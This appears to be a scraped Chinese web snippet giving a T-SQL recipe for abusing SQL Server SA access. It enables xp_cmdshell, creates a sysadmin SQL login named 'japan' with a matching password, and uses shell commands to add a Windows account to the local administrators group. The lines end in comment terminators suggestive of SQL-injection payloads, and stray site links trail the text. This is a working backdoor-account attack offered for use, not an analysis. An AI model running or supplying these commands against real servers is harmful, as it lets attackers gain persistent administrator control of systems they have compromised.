微软SQL Server 在SA权限下建立系统用户 方法

--enabble xp_cmdshell
EXEC sys.sp_configure N 'show advanced options' , N '1' RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'xp_cmdshell' , N '1' go  RECONFIGURE WITH OVERRIDE  go EXEC sys.sp_configure N 'show advanced options' , N '0' RECONFIGURE WITH OVERRIDE  go
-- Unenable xp_cmdshell
EXEC sys.sp_configure N 'show advanced options' , N '1' RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'xp_cmdshell' , N '0' go  RECONFIGURE WITH OVERRIDE  go
EXEC sys.sp_configure N 'show advanced options' , N '0' RECONFIGURE WITH OVERRIDE  go   -- 经过xp_cmdshell 建立操做系统用户, japan 是用户名及密码
exec master.dbo.sp_addlogin japan; --     exec master.dbo.sp_password null,japan,japan;--  
exec master.dbo.sp_addsrvrolemember japan,sysadmin; --  
exec master.dbo.xp_cmdshell 'net user japan japan /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add' ; --
exec master.dbo.xp_cmdshell 'net localgroup administrators japan /add' ; --      



爱抚州网 www.i0794.cn shell

www.bzff.com ide

相关文章
相关标签/搜索